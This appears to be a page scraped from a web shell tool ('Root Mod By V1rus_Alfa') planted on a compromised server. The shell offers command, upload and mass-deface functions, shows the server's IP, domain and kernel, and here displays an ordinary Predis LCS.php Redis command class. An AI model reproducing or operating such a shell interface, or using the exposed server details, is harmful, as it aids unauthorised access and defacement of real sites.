���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
vendor
/
predis
/
predis
/
src
/
Command
/
Redis
/
Viewing: LCS.php
<?php /* * This file is part of the Predis package. * * (c) 2009-2020 Daniele Alessandri * (c) 2021-2025 Till Krüss * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Predis\Command\Redis; use Predis\Command\Command as RedisCommand; /** * @see https://redis.io/commands/lcs/ * * The LCS command implements the longest common subsequence algorithm. */ class LCS extends RedisCommand { public function getId() { return 'LCS'; } public function setArguments(array $arguments) { if (isset($arguments[2]) && $arguments[2]) { $arguments[2] = 'LEN'; } if (isset($arguments[3]) && $arguments[3]) { $arguments[3] = 'IDX'; } if (isset($arguments[5]) && $arguments[5]) { $arguments[5] = 'WITHMATCHLEN'; } if (isset($arguments[4])) { if ($arguments[4] !== 0) { $argumentsBefore = array_slice($arguments, 0, 4); $argumentsAfter = array_slice($arguments, 5); $arguments = array_merge($argumentsBefore, ['MINMATCHLEN', $arguments[4]], $argumentsAfter); } else { $arguments[4] = false; } } parent::setArguments($arguments); $this->filterArguments(); } public function parseResponse($data) { if (is_array($data)) { if ($data !== array_values($data)) { return $data; // Relay } return [$data[0] => $data[1], $data[2] => $data[3]]; } return $data; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa